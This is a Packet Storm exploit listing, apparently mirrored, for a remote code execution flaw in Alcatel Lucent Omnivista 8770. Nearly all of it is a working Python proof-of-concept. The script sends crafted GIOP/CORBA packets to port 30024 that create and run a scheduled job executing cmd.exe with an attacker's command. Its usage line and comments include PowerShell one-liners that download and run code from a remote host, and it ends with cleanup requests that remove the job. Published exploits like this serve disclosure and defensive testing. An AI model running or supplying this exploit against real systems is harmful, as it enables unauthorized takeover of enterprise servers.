Lucene search

K
packetstormMalerischPACKETSTORM:140026
HistoryDec 05, 2016 - 12:00 a.m.

Alcatel Lucent Omnivista 8770 Remote Code Execution

2016-12-0500:00:00
malerisch
packetstormsecurity.com
47

0.074 Low

EPSS

Percentile

94.1%

`import socket  
import time  
import sys  
import os  
  
# ref https://blog.malerisch.net/  
# Omnivista Alcatel-Lucent running on Windows Server  
  
  
if len(sys.argv) < 2:  
print "Usage: %s <target> <command>" % sys.argv[0]  
print "eg: %s 192.168.1.246 \"powershell.exe -nop -w hidden -c \$g=new-object net.webclient;IEX \$g.downloadstring('http://192.168.1.40:8080/hello');\"" % sys.argv[0]  
sys.exit(1)  
  
target = sys.argv[1]  
argument1 = ' '.join(sys.argv[2:])  
  
# so we need to get the biosname of the target... so run this poc exploit script should be run in kali directly...  
  
netbiosname = os.popen("nbtscan -s : "+target+" | cut -d ':' -f2").read()  
netbiosname = netbiosname.strip("\n")  
  
# dirty functions to do hex magic with bytes...  
### each variable has size byte before, which includes the string + "\x00" a NULL byte  
### needs to calculate for each  
###   
  
def calcsize(giop):  
  
s = len(giop.decode('hex'))  
h = hex(s) #"\x04" -> "04"  
return h[2:].zfill(8) # it's 4 bytes for the size  
  
def calcstring(param): # 1 byte size calc  
  
s = (len(param)/2)+1  
h = hex(s)  
return h[2:].zfill(2) # assuming it is only 1 byte , again it's dirty...  
  
def calcstring2(param):  
  
s = (len(param)/2)+1  
h = hex(s)  
return h[2:].zfill(4)  
  
  
  
##  
  
#GIOP request size is specified at the 11th byte  
  
# 0000 47 49 4f 50 01 00 00 00 00 00 00 d8 00 00 00 00 GIOP............  
# d8 is the size of GIOP REQUEST  
  
# GIOP HEADER Is 12 bytes -  
# GIOP REQUEST PAYLOAD comes after and it's defined at the 11th byte  
  
  
  
#phase 1 - add a jobset  
  
giopid = 1 # an arbitrary ID can be put there...  
  
# there are checks in the size of the username.. need to find where the size is specified - anyway, 58 bytes seems all right...  
  
usernamedata = "xxx.y.zzzzz,cn=Administrators,cn=8770 administration,o=nmc".encode('hex') # original "383737302061646d696e697374726174696f6e2c6f3d6e6d63"  
  
#print "Size of usernamedata" + str(len(usernamedata.decode('hex')))  
  
jobname = "MYJOB01".encode('hex') # size of 7 bytes # check also in the captured packet...  
  
  
addjobset = "47494f50010000000000012600000000" + "00000001" + "01000000000000135363686564756c6572496e7465726661636500000000000a4164644a6f625365740000000000000000000008" + jobname + "00000007e0000000060000001b00000010000000240000000000000000000000000000000000000000000000000000000000000000002a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000083131313131313100010000000000000000000000000000010000000000000000000000000000003f7569643d" + usernamedata + "00000000000a6f6d6e69766973626200" # this last part can be changed???  
  
print "Alcatel Lucent Omnivista 8770 2.0, 2.6 and 3.0 - RCE via GIOP/CORBA - @malerisch"  
print "Connecting to target..."  
  
  
  
  
p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
p.connect((target, 30024))  
  
  
#p = remote(target, 30024, "ipv4", "tcp")  
  
print "Adding a job..."  
  
p.send(addjobset.decode('hex'))  
  
#p.recv()  
  
data = p.recv(1024)  
  
s = len(data)  
  
#objectkey = "" # last 16 bytes of the response!  
  
objectkey = data[s-16:s].encode('hex')  
  
#print objectkey  
  
# phase 2 - active jobset  
  
print "Sending active packet against the job"  
  
activegiopid = 2  
active = "47494f50010000000000003100000000" + "00000002" + "0100000000000010" + objectkey + "0000000741637469766500000000000000"  
  
#print active  
  
p.send(active.decode('hex'))  
  
data2 = p.recv(1024)  
  
#print data2  
  
# phase3 add task  
  
addjobid = 3  
  
print "Adding a task...."  
  
taskname = "BBBBBBB".encode('hex')  
servername = netbiosname.encode('hex')  
command = "C:\Windows\System32\cmd.exe".encode('hex') #on 32bit  
#command = "C:\Windows\SysWOW64\cmd.exe".encode('hex') #on 64bit  
commandsize = hex((len(command.decode('hex'))+1))  
commandsize = str(commandsize).replace("0x","")  
  
#print "Command size: "+ str(commandsize)  
  
#print command.decode('hex')  
  
#time.sleep(10)  
  
#powershell = str(command)  
#powershell = "powershell.exe -nop -c $J=new-object net.webclient;IEX $J.downloadstring('http://192.168.1.40:8080/hello');"  
  
#-nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://10.190.127.154:8080/');  
  
#-nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://10.190.127.154:8080/');  
  
argument = str("/c "+argument1).encode('hex')  
#argument = str("/c notepad.exe").encode('hex')  
  
#print len(argument.decode('hex'))  
  
#argumentsize = len(str("/c "+powershell))+1  
  
#print "Argument size: "+str(argumentsize)  
  
argumentsize = calcstring2(argument)  
  
#print "argument size: "+str(argumentsize)  
  
#print argument.decode('hex')  
  
def calcpadd(giop):  
defaultpadding = "00000000000001"  
check = giop + defaultpadding + fixedpadding  
s = len(check)  
#print "Size: "+str(s)  
if (s/2) % 4 == 0:  
#print "size ok!"  
return check  
else:  
# fix the default padding  
#print "Size not ok, recalculating padd..."  
dif = (s/2) % 4  
#print "diff: "+str(dif)  
newpadding = defaultpadding[dif*2:]  
#print "Newpadding: " +str(newpadding)  
return giop + newpadding + fixedpadding  
  
  
  
  
addjobhdr = "47494f5001000000" # 8 bytes + 4 bytes for message size, including size of the giop request message  
  
fixedpadding = "000000000000000100000000000000010000000000000002000000000000000000000000000000000000000f0000000000000000000000000000000000000002000000000000000000000000"  
  
variablepadding = "000000000001"  
  
#print calcstring(servername)  
#print calcstring(taskname)  
  
#print "Command:" +str(command)  
#print "command size:"+str(commandsize)  
  
addjob = "00000000000000b30100000000000010" + objectkey + "000000074164644a6f62000000000000000000" + calcstring(taskname) + taskname + "0000000001000000"+ commandsize + command +"00000000" + calcstring(servername) + servername + "000000" + argumentsize + argument + "00"  
  
#print addjob  
  
addjobfin = calcpadd(addjob)  
  
#print addjobfin.decode('hex')  
  
addjobsize = calcsize(addjobfin)  
  
#print "Lenght of the addjob: "+str(len(addjobfin.decode('hex')))  
  
# we need to add the header  
  
finalmsg = addjobhdr + addjobsize + addjobfin  
  
  
p.send(finalmsg.decode('hex'))  
  
data3 = p.recv(1024)  
  
#print data3  
  
# phase4 - execute task  
  
executeid = 4  
  
print "Executing task..."  
  
execute = "47494f50010000000000003500000000000001100100000000000010" + objectkey + "0000000b457865637574654e6f7700000000000000"  
  
p.send(execute.decode('hex'))  
  
data4 = p.recv(1024)  
  
print "All packets sent..."  
print "Exploit sequence completed, command should have been executed...:-)"  
  
p.close()  
  
# optional requests to remove the job after the exploitation  
  
### in metasploit, we should migrate to another process and then call an "abort" function of Omnivista  
  
##phase5 - abort the job  
  
canceljob = "47494f500100000000000030000000000000008e0100000000000010" + objectkey + "0000000743616e63656c000000000000"  
  
###phase6 - delete the jobset   
  
deletejob = "47494f500100000000000038000000000000009e0100000000000010" + objectkey + "0000000d44656c6574654a6f625365740000000000000000"  
  
  
`

0.074 Low

EPSS

Percentile

94.1%

Related for PACKETSTORM:140026